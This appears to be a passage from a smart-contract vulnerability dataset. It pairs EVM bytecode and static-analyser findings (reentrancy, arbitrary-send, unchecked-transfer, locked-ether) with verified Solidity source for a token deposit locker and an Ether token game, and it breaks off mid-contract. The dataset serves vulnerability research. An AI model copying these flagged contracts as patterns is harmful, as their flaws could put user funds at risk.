0x731427fb6e01399a12986d66b9ec4d3556823e521d30146080604052600436106100355760003560e01c80639cbeb1ac1461003a575b600080fd5b81801561004657600080fd5b50610061600480360361005c9190810190610249565b610063565b005b6100788282856101309092919063ffffffff16565b61012b578260000160405180604001604052808473ffffffffffffffffffffffffffffffffffffffff168152602001838152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050505b505050565b600080600090505b84600001805490508110156101fd578373ffffffffffffffffffffffffffffffffffffffff1685600001828154811061016d57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156101e15750828560000182815481106101cd57fe5b906000526020600020906002020160010154145b156101f0576001915050610203565b8080600101915050610138565b50600090505b9392505050565b600081359050610219816102de565b92915050565b60008135905061022e816102f5565b92915050565b6000813590506102438161030c565b92915050565b60008060006060848603121561025e57600080fd5b600061026c8682870161021f565b935050602061027d8682870161020a565b925050604061028e86828701610234565b9150509250925092565b60006102a3826102b4565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6102e781610298565b81146102f257600080fd5b50565b6102fe816102aa565b811461030957600080fd5b50565b610315816102d4565b811461032057600080fd5b5056fea365627a7a72315820055b8e2a6b8934c1b4954c9b93340b32f043208d81df768a264d701d4c06a48c6c6578706572696d656e74616cf564736f6c63430005110040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,435 |
0x1FBeB7273E32dCE3Cf1eCe3D02f393E21d90BB46
|
/**
*Submitted for verification at Etherscan.io on 2021-02-26
*/
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function burn(uint256 amount) external;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/*
The MIT License (MIT)
Copyright (c) 2016-2019 zOS Global Limited
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
// It is not actually an interface regarding solidity because interfaces can only have external functions
abstract contract DepositLockerInterface {
function slash(address _depositorToBeSlashed) public virtual;
}
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(
msg.sender == owner,
"The function can only be called by the owner"
);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/*
The DepositLocker contract locks the deposits for all of the winning
participants of the auction.
When the auction is running, the auction contract registers participants that
have successfully bid with the registerDepositor function. The DepositLocker
contracts keeps track of the number of participants and also keeps track if a
participant address can withdraw the deposit.
All of the participants have to pay the same amount when the auction ends.
The auction contract will deposit the sum of all amounts with a call to
deposit.
This is the base contract, how exactly the deposit can be received, withdrawn and burned
is left to be implemented in the derived contracts.
*/
abstract contract BaseDepositLocker is DepositLockerInterface, Ownable {
bool public initialized = false;
bool public deposited = false;
/* We maintain two special addresses:
- the slasher, that is allowed to call the slash function
- the depositorsProxy that registers depositors and deposits a value for
all of the registered depositors with the deposit function. In our case
this will be the auction contract.
*/
address public slasher;
address public depositorsProxy;
uint public releaseTimestamp;
mapping(address => bool) public canWithdraw;
uint numberOfDepositors = 0;
uint valuePerDepositor;
event DepositorRegistered(
address depositorAddress,
uint numberOfDepositors
);
event Deposit(
uint totalValue,
uint valuePerDepositor,
uint numberOfDepositors
);
event Withdraw(address withdrawer, uint value);
event Slash(address slashedDepositor, uint slashedValue);
modifier isInitialised() {
require(initialized, "The contract was not initialized.");
_;
}
modifier isDeposited() {
require(deposited, "no deposits yet");
_;
}
modifier isNotDeposited() {
require(!deposited, "already deposited");
_;
}
modifier onlyDepositorsProxy() {
require(
msg.sender == depositorsProxy,
"Only the depositorsProxy can call this function."
);
_;
}
fallback() external {}
function registerDepositor(address _depositor)
public
isInitialised
isNotDeposited
onlyDepositorsProxy
{
require(
canWithdraw[_depositor] == false,
"can only register Depositor once"
);
canWithdraw[_depositor] = true;
numberOfDepositors += 1;
emit DepositorRegistered(_depositor, numberOfDepositors);
}
function deposit(uint _valuePerDepositor)
public
payable
isInitialised
isNotDeposited
onlyDepositorsProxy
{
require(numberOfDepositors > 0, "no depositors");
require(_valuePerDepositor > 0, "_valuePerDepositor must be positive");
uint depositAmount = numberOfDepositors * _valuePerDepositor;
require(
_valuePerDepositor == depositAmount / numberOfDepositors,
"Overflow in depositAmount calculation"
);
valuePerDepositor = _valuePerDepositor;
deposited = true;
_receive(depositAmount);
emit Deposit(depositAmount, valuePerDepositor, numberOfDepositors);
}
function withdraw() public isInitialised isDeposited {
require(
block.timestamp >= releaseTimestamp,
"The deposit cannot be withdrawn yet."
);
require(canWithdraw[msg.sender], "cannot withdraw from sender");
canWithdraw[msg.sender] = false;
_transfer(payable(msg.sender), valuePerDepositor);
emit Withdraw(msg.sender, valuePerDepositor);
}
function slash(address _depositorToBeSlashed)
public
override
isInitialised
isDeposited
{
require(
msg.sender == slasher,
"Only the slasher can call this function."
);
require(canWithdraw[_depositorToBeSlashed], "cannot slash address");
canWithdraw[_depositorToBeSlashed] = false;
_burn(valuePerDepositor);
emit Slash(_depositorToBeSlashed, valuePerDepositor);
}
function _init(
uint _releaseTimestamp,
address _slasher,
address _depositorsProxy
) internal {
require(!initialized, "The contract is already initialised.");
require(
_releaseTimestamp > block.timestamp,
"The release timestamp must be in the future"
);
releaseTimestamp = _releaseTimestamp;
slasher = _slasher;
depositorsProxy = _depositorsProxy;
initialized = true;
owner = address(0);
}
/// Hooks for derived contracts to receive, transfer and burn the deposits
function _receive(uint amount) internal virtual;
function _transfer(address payable recipient, uint amount) internal virtual;
function _burn(uint amount) internal virtual;
}
/*
The TokenDepositLocker contract locks ERC20 token deposits
For more information see DepositLocker.sol
*/
contract TokenDepositLocker is BaseDepositLocker {
IERC20 public token;
function init(
uint _releaseTimestamp,
address _slasher,
address _depositorsProxy,
IERC20 _token
) external onlyOwner {
BaseDepositLocker._init(_releaseTimestamp, _slasher, _depositorsProxy);
require(
address(_token) != address(0),
"Token contract can not be on the zero address!"
);
token = _token;
}
function _receive(uint amount) internal override {
require(msg.value == 0, "Token locker contract does not accept ETH");
// to receive erc20 tokens, we have to pull them
token.transferFrom(msg.sender, address(this), amount);
}
function _transfer(address payable recipient, uint amount)
internal
override
{
token.transfer(recipient, amount);
}
function _burn(uint amount) internal override {
token.burn(amount);
}
}
// SPDX-License-Identifier: MIT
|
0x6080604052600436106100bd5760003560e01c8063b6b55f251161006f578063b6b55f25146101a7578063c96be4cb146101ba578063dc890da9146101da578063e8823af1146101fa578063eef49ee31461020f578063f2fde38b14610224578063fc0c546a14610244576100bd565b80630a3f013f146100cc578063158ef93e146100f757806319262d301461011957806338c56be1146101395780633ccfd60b1461015b5780638da5cb5b14610170578063b134427114610192575b3480156100c957600080fd5b50005b3480156100d857600080fd5b506100e1610259565b6040516100ee9190610fbd565b60405180910390f35b34801561010357600080fd5b5061010c61025f565b6040516100ee9190610b86565b34801561012557600080fd5b5061010c610134366004610a88565b61026f565b34801561014557600080fd5b50610159610154366004610a88565b610284565b005b34801561016757600080fd5b506101596103c0565b34801561017c57600080fd5b506101856104c4565b6040516100ee9190610b35565b34801561019e57600080fd5b506101856104d3565b6101596101b5366004610acb565b6104e2565b3480156101c657600080fd5b506101596101d5366004610a88565b610642565b3480156101e657600080fd5b506101596101f5366004610ae3565b610755565b34801561020657600080fd5b506101856107d5565b34801561021b57600080fd5b5061010c6107e4565b34801561023057600080fd5b5061015961023f366004610a88565b6107f4565b34801561025057600080fd5b5061018561084c565b60035481565b600054600160a01b900460ff1681565b60046020526000908152604090205460ff1681565b600054600160a01b900460ff166102b65760405162461bcd60e51b81526004016102ad90610bb8565b60405180910390fd5b600054600160a81b900460ff16156102e05760405162461bcd60e51b81526004016102ad90610ec7565b6002546001600160a01b0316331461030a5760405162461bcd60e51b81526004016102ad90610d35565b6001600160a01b03811660009081526004602052604090205460ff16156103435760405162461bcd60e51b81526004016102ad90610d00565b6001600160a01b0381166000908152600460205260408120805460ff19166001908117909155600580549192909161037c908490610fdc565b90915550506005546040517f2f2ecba9464c960a79dc691961ff2965ab0b5d7a25b776931686d50094c4d1b8916103b591849190610b49565b60405180910390a150565b600054600160a01b900460ff166103e95760405162461bcd60e51b81526004016102ad90610bb8565b600054600160a81b900460ff166104125760405162461bcd60e51b81526004016102ad90610e5b565b6003544210156104345760405162461bcd60e51b81526004016102ad90610e17565b3360009081526004602052604090205460ff166104635760405162461bcd60e51b81526004016102ad90610f86565b336000818152600460205260409020805460ff19169055600654610487919061085b565b7f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364336006546040516104ba929190610b49565b60405180910390a1565b6000546001600160a01b031681565b6001546001600160a01b031681565b600054600160a01b900460ff1661050b5760405162461bcd60e51b81526004016102ad90610bb8565b600054600160a81b900460ff16156105355760405162461bcd60e51b81526004016102ad90610ec7565b6002546001600160a01b0316331461055f5760405162461bcd60e51b81526004016102ad90610d35565b6000600554116105815760405162461bcd60e51b81526004016102ad90610b91565b600081116105a15760405162461bcd60e51b81526004016102ad90610e84565b6000816005546105b19190611014565b9050600554816105c19190610ff4565b82146105df5760405162461bcd60e51b81526004016102ad90610cbb565b60068290556000805460ff60a81b1916600160a81b179055610600816108e4565b6006546005546040517f33da4f9b82b3e18a281ca2cabbe2f076925692abb593b7ea3f850009e8ec977092610636928592610fc6565b60405180910390a15050565b600054600160a01b900460ff1661066b5760405162461bcd60e51b81526004016102ad90610bb8565b600054600160a81b900460ff166106945760405162461bcd60e51b81526004016102ad90610e5b565b6001546001600160a01b031633146106be5760405162461bcd60e51b81526004016102ad90610c27565b6001600160a01b03811660009081526004602052604090205460ff166106f65760405162461bcd60e51b81526004016102ad90610bf9565b6001600160a01b0381166000908152600460205260409020805460ff191690556006546107229061098c565b7fa69f22d963cb7981f842db8c1aafcc93d915ba2a95dcf26dcc333a9c2a09be26816006546040516103b5929190610b49565b6000546001600160a01b0316331461077f5760405162461bcd60e51b81526004016102ad90610c6f565b61078a8484846109f1565b6001600160a01b0381166107b05760405162461bcd60e51b81526004016102ad90610dc9565b600780546001600160a01b0319166001600160a01b0392909216919091179055505050565b6002546001600160a01b031681565b600054600160a81b900460ff1681565b6000546001600160a01b0316331461081e5760405162461bcd60e51b81526004016102ad90610c6f565b6001600160a01b0381161561084957600080546001600160a01b0319166001600160a01b0383161790555b50565b6007546001600160a01b031681565b60075460405163a9059cbb60e01b81526001600160a01b039091169063a9059cbb9061088d9085908590600401610b49565b602060405180830381600087803b1580156108a757600080fd5b505af11580156108bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108df9190610aab565b505050565b34156109025760405162461bcd60e51b81526004016102ad90610f3d565b6007546040516323b872dd60e01b81526001600160a01b03909116906323b872dd9061093690339030908690600401610b62565b602060405180830381600087803b15801561095057600080fd5b505af1158015610964573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109889190610aab565b5050565b600754604051630852cd8d60e31b81526001600160a01b03909116906342966c68906109bc908490600401610fbd565b600060405180830381600087803b1580156109d657600080fd5b505af11580156109ea573d6000803e3d6000fd5b5050505050565b600054600160a01b900460ff1615610a1b5760405162461bcd60e51b81526004016102ad90610d85565b428311610a3a5760405162461bcd60e51b81526004016102ad90610ef2565b600392909255600180546001600160a01b039283166001600160a01b03199182161790915560028054939092169281169290921790556000805460ff60a01b1916600160a01b179091169055565b600060208284031215610a99578081fd5b8135610aa481611049565b9392505050565b600060208284031215610abc578081fd5b81518015158114610aa4578182fd5b600060208284031215610adc578081fd5b5035919050565b60008060008060808587031215610af8578283fd5b843593506020850135610b0a81611049565b92506040850135610b1a81611049565b91506060850135610b2a81611049565b939692955090935050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b901515815260200190565b6020808252600d908201526c6e6f206465706f7369746f727360981b604082015260600190565b60208082526021908201527f54686520636f6e747261637420776173206e6f7420696e697469616c697a65646040820152601760f91b606082015260800190565b60208082526014908201527363616e6e6f7420736c617368206164647265737360601b604082015260600190565b60208082526028908201527f4f6e6c792074686520736c61736865722063616e2063616c6c207468697320666040820152673ab731ba34b7b71760c11b606082015260800190565b6020808252602c908201527f5468652066756e6374696f6e2063616e206f6e6c792062652063616c6c65642060408201526b313c903a34329037bbb732b960a11b606082015260800190565b60208082526025908201527f4f766572666c6f7720696e206465706f736974416d6f756e742063616c63756c60408201526430ba34b7b760d91b606082015260800190565b6020808252818101527f63616e206f6e6c79207265676973746572204465706f7369746f72206f6e6365604082015260600190565b60208082526030908201527f4f6e6c7920746865206465706f7369746f727350726f78792063616e2063616c60408201526f36103a3434b990333ab731ba34b7b71760811b606082015260800190565b60208082526024908201527f54686520636f6e747261637420697320616c726561647920696e697469616c6960408201526339b2b21760e11b606082015260800190565b6020808252602e908201527f546f6b656e20636f6e74726163742063616e206e6f74206265206f6e2074686560408201526d207a65726f20616464726573732160901b606082015260800190565b60208082526024908201527f546865206465706f7369742063616e6e6f742062652077697468647261776e206040820152633cb2ba1760e11b606082015260800190565b6020808252600f908201526e1b9bc819195c1bdcda5d1cc81e595d608a1b604082015260600190565b60208082526023908201527f5f76616c75655065724465706f7369746f72206d75737420626520706f73697460408201526269766560e81b606082015260800190565b602080825260119082015270185b1c9958591e4819195c1bdcda5d1959607a1b604082015260600190565b6020808252602b908201527f5468652072656c656173652074696d657374616d70206d75737420626520696e60408201526a207468652066757475726560a81b606082015260800190565b60208082526029908201527f546f6b656e206c6f636b657220636f6e747261637420646f6573206e6f7420616040820152680c6c6cae0e8408aa8960bb1b606082015260800190565b6020808252601b908201527f63616e6e6f742077697468647261772066726f6d2073656e6465720000000000604082015260600190565b90815260200190565b9283526020830191909152604082015260600190565b60008219821115610fef57610fef611033565b500190565b60008261100f57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561102e5761102e611033565b500290565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461084957600080fdfea2646970667358221220a4f72ed75464667809bcdbbe26a0656038e4da55225835ba3ab5caf32388fb3f64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,436 |
0x07e6347dd2f83a1b396a79060613e890f44fa36f
|
pragma solidity ^0.4.23;
/**
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFromContract(address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= balances[address(this)]);
// SafeMath.sub will throw if there is not enough balance.
balances[address(this)] = balances[address(this)].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(this), _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) internal {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract MintableToken is BasicToken {
/**
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
event Mint(address indexed to, uint256 amount);
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) internal returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract EFToken is MintableToken, BurnableToken, Ownable {
string public constant name = "EtherFactoryToken";
string public constant symbol = "EFT";
uint8 public constant decimals = 0;
uint256 internal presellStart = now;
mapping(uint256 => address) internal InviterAddress;
mapping(address => uint256) public InviterToID;
uint256 private InviterID = 0;
function sellTokens(uint256 _value) public gameStarted {
require (balances[msg.sender] >= _value && _value > 0);
uint256 balance = address(this).balance;
require (balance > 0);
uint256 total = totalSupply();
uint256 sellRate = uint256( balance.div( total ) );
uint256 ethValue = sellRate.mul(_value);
msg.sender.transfer(ethValue);
burn(_value);
}
function buyTokens() public gameStarted payable {
uint256 eth = msg.value;
require ( msg.value>0 );
uint256 tokensAmount = balances[address(this)];
uint256 balance = uint256(SafeMath.sub(address(this).balance,msg.value));
if (balance < 0.1 ether)
balance = 0.1 ether;
uint256 total = totalSupply();
uint256 sellRate = uint256( balance.div( total ) );
uint256 eftValue = uint256(eth.div(sellRate));
require ( eftValue <= tokensAmount && eftValue > 0 );
transferFromContract(msg.sender, eftValue);
uint256 fee = uint256(SafeMath.div(msg.value, 10));
// dev fee 10%
owner.transfer(fee);
}
function inviterReg() public {
require (msg.sender != address(0) && InviterToID[msg.sender] == 0);
InviterID++;
InviterAddress[InviterID] = msg.sender;
InviterToID[msg.sender] = InviterID;
}
function tokensRate() public view returns (uint256 rate, uint256 yourEFT, uint256 totalEFT, uint256 ethBalance, uint256 eftBalance) {
yourEFT = balanceOf (msg.sender);
totalEFT = totalSupply();
ethBalance = address(this).balance;
rate = uint256(ethBalance.div(totalEFT));
eftBalance = balances[address(this)];
}
//views
function presellTimer() public view returns (uint256 presellLeft) {
presellLeft = uint256(SafeMath.div(now.sub(presellStart), 60));
}
//modifiers
modifier gameStarted() {
require(now - presellStart >= 604800); // 604800 sec = one week
_;
}
}
contract EtherFactory is EFToken {
//FactoryID -> workers qualification (depends on factory level) -> workers amount
mapping(uint256 => mapping(uint8 => uint256)) internal FactoryPersonal;
//FactoryID -> owner address
mapping(uint256 => address) internal FactoryOwner;
//FactoryID -> start work date (timestamp). For profit calculate;
mapping(uint256 => uint256) internal FactoryWorkStart;
//FactoryID -> factory level;
mapping(uint256 => uint8) internal FactoryLevel;
//FactoryID -> factory eth price;
mapping(uint256 => uint256) internal FactoryPrice;
//FactoryID -> factory name;
mapping(uint256 => string) internal FactoryName;
//Worker -> qualification
mapping(address => uint8) internal WorkerQualification;
//Worker -> FactoryID
mapping(address => uint256) internal WorkerFactory;
//Worker -> start work date (timestamp). For profit calculate;
mapping(address => uint256) internal WorkerWorkStart;
uint256 FactoryID = 0;
//Factories core
function setFactoryName(uint256 _FactoryID, string _Name) public {
require (FactoryOwner[_FactoryID] == msg.sender);
require(bytes(_Name).length <= 50);
FactoryName[_FactoryID] = _Name;
}
function getFactoryProfit(uint256 _FactoryID, address _FactoryOwner) public gameStarted {
require (FactoryOwner[_FactoryID] == _FactoryOwner);
//Factory profit equal to the earnings of all workers.
uint256 profitMinutes = uint256(SafeMath.div(SafeMath.sub(now, FactoryWorkStart[_FactoryID]), 60));
if (profitMinutes > 0) {
uint256 profit = 0;
for (uint8 level=1; level<=FactoryLevel[_FactoryID]; level++) {
profit += SafeMath.mul(SafeMath.mul(uint256(level),profitMinutes), FactoryPersonal[_FactoryID][level]);
}
if (profit > 0) {
mint(_FactoryOwner,profit);
FactoryWorkStart[_FactoryID] = now;
}
}
}
function buildFactory(uint8 _level, uint256 _inviterID) public payable {
require (_level>0 && _level<=100);
uint256 buildCost = uint256(_level).mul( getFactoryPrice() );
require (msg.value == buildCost);
FactoryID++;
FactoryOwner[FactoryID] = msg.sender;
FactoryLevel[FactoryID] = _level;
FactoryPrice[FactoryID] = SafeMath.mul(0.15 ether, _level);
//for EFT-ETH rate balance
mint(address(this), SafeMath.mul(1000000, _level));
address Inviter = InviterAddress[_inviterID];
uint256 fee = uint256(SafeMath.div(msg.value, 20));
if ( Inviter != address(0)) {
//bounty for invite -> 5% from payment
Inviter.transfer(fee);
} else {
//no inviter, dev fee - 10%
fee = fee.mul(2);
}
// dev fee
owner.transfer(fee);
}
function upgradeFactory(uint256 _FactoryID) public payable {
require (FactoryOwner[_FactoryID] == msg.sender);
require (FactoryLevel[_FactoryID] < 100);
require (msg.value == getFactoryPrice() );
FactoryLevel[_FactoryID]++ ;
FactoryPrice[FactoryID] += 0.15 ether;
//for EFT-ETH rate balance
mint(address(this), 1000000);
uint256 fee = uint256(SafeMath.div(msg.value, 10));
// dev fee 10%
owner.transfer(fee);
}
function buyExistFactory(uint256 _FactoryID) public payable {
address factoryOwner = FactoryOwner[_FactoryID];
require ( factoryOwner != address(0) && factoryOwner != msg.sender && msg.sender != address(0) );
uint256 factoryPrice = FactoryPrice[_FactoryID];
require(msg.value >= factoryPrice);
//new owner
FactoryOwner[_FactoryID] = msg.sender;
//90% to previous factory owner
uint256 Payment90percent = uint256(SafeMath.div(SafeMath.mul(factoryPrice, 9), 10));
//5% dev fee
uint256 fee = uint256(SafeMath.div(SafeMath.mul(factoryPrice, 5), 100));
//new price +50%
FactoryPrice[_FactoryID] = uint256(SafeMath.div(SafeMath.mul(factoryPrice, 3), 2));
factoryOwner.transfer(Payment90percent);
owner.transfer(fee);
//return excess pay
if (msg.value > factoryPrice) {
msg.sender.transfer(msg.value - factoryPrice);
}
}
function increaseMarketValue(uint256 _FactoryID, uint256 _tokens) public gameStarted {
uint256 eftTOethRATE = 200000000000;
require (FactoryOwner[_FactoryID] == msg.sender);
require (balances[msg.sender] >= _tokens && _tokens>0);
FactoryPrice[_FactoryID] = FactoryPrice[_FactoryID] + _tokens*eftTOethRATE;
burn(_tokens);
}
//workers core
function findJob(uint256 _FactoryID) public gameStarted {
require (WorkerFactory[msg.sender] != _FactoryID);
if (WorkerQualification[msg.sender] == 0) {
WorkerQualification[msg.sender] = 1;
}
uint8 qualification = WorkerQualification[msg.sender];
require (FactoryLevel[_FactoryID] >= qualification);
//100 is limit for each worker qualificationon on the factory
require (FactoryPersonal[_FactoryID][qualification] < 100);
//reset factory and worker profit timer
if (WorkerFactory[msg.sender]>0) {
getFactoryProfit(_FactoryID, FactoryOwner[_FactoryID]);
getWorkerProfit();
} else {
WorkerWorkStart[msg.sender] = now;
}
//previous factory lost worker
if (WorkerFactory[msg.sender] > 0 ) {
FactoryPersonal[WorkerFactory[msg.sender]][qualification]--;
}
WorkerFactory[msg.sender] = _FactoryID;
FactoryPersonal[_FactoryID][qualification]++;
if (FactoryWorkStart[_FactoryID] ==0)
FactoryWorkStart[_FactoryID] = now;
}
function getWorkerProfit() public gameStarted {
require (WorkerFactory[msg.sender] > 0);
//Worker with qualification "ONE" earn 1 token per minute, "TWO" earn 2 tokens, etc...
uint256 profitMinutes = uint256(SafeMath.div(SafeMath.sub(now, WorkerWorkStart[msg.sender]), 60));
if (profitMinutes > 0) {
uint8 qualification = WorkerQualification[msg.sender];
uint256 profitEFT = SafeMath.mul(uint256(qualification),profitMinutes);
require (profitEFT > 0);
mint(msg.sender,profitEFT);
WorkerWorkStart[msg.sender] = now;
}
}
function upgradeQualificationByTokens() public gameStarted {
require (WorkerQualification[msg.sender]<100);
uint256 upgradeCost = 10000;
require (balances[msg.sender] >= upgradeCost);
if (WorkerFactory[msg.sender] > 0)
getWorkerProfit();
uint8 oldQualification = WorkerQualification[msg.sender];
uint256 WorkerFactoryID = WorkerFactory[msg.sender];
if (WorkerQualification[msg.sender]==0)
WorkerQualification[msg.sender]=2;
else
WorkerQualification[msg.sender]++;
if (WorkerFactoryID > 0) {
getFactoryProfit(WorkerFactoryID, FactoryOwner[WorkerFactoryID]);
FactoryPersonal[WorkerFactoryID][oldQualification]--;
if (FactoryLevel[WorkerFactoryID] >= oldQualification+1) {
FactoryPersonal[WorkerFactoryID][oldQualification+1]++;
} else {
//will unemployed
WorkerFactory[msg.sender] = 0;
}
}
// burn tokens
burn(upgradeCost);
}
function upgradeQualificationByEther(uint256 _inviterID) public payable {
require (WorkerQualification[msg.sender]<100);
//0.001 ether or 0.00075 presell
require ( msg.value == SafeMath.div(getFactoryPrice(),100) );
uint256 fee = uint256(SafeMath.div(msg.value, 20)); //5%
address Inviter = InviterAddress[_inviterID];
if ( Inviter != address(0)) {
//bounty for invite -> 5% from payment
